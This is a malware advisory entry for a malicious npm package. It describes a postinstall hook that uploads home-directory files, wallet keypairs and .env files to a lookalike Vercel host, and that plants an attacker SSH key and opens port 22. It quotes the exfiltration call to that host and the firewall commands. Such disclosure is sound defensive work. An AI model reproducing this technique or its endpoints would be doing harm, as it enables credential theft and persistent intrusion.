MAL-2026-5530

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (c15c40b8371646f167ffa7d5a2ba2c8d0fd454ef7054eeb41807a1a3eda8e7a6) On `npm install`, this package runs `node test.js` via `scripts.postinstall`, which executes the logic in `index.js`. The postinstall behavior performs three distinct installer-side attacks: (1) it recursively walks the installer's home directory (and on Windows, non-C: drives plus C:\Users\), matching files against a remotely-fetched pattern list, then POSTs each matched file plus username/platform metadata to `http://cloudflare-prevention.vercel.app/api/v1` via FormData (`batchUpload(found, "http://cloudflare-prevention.vercel.app/api/v1", success)`); (2) on Linux, `addSshKeyToUser` fetches an attacker-supplied SSH public key from `http://cloudflare-prevention.vercel.app/api/ssh-key` and appends it to `~/.ssh/authorized_keys` with mode 0600, then runs `sudo ufw enable` and `sudo ufw allow 22/tcp` to ensure inbound SSH is reachable — giving the operator persistent remote root-equivalent access to the host; (3) `from_str_1` recursively scans `process.cwd()` for `id.json` (Solana wallet keypair), `config.toml`/`Config.toml`, `env`, and `.env`, uploading each match to a sibling endpoint. Scan patterns, block patterns, and the SSH key are all fetched over plain HTTP from `cloudflare-prevention.vercel.app` — a Vercel-hosted lookalike of a Cloudflare-branded service — meaning the operator can mutate which files are exfiltrated and which key is granted SSH access at any time.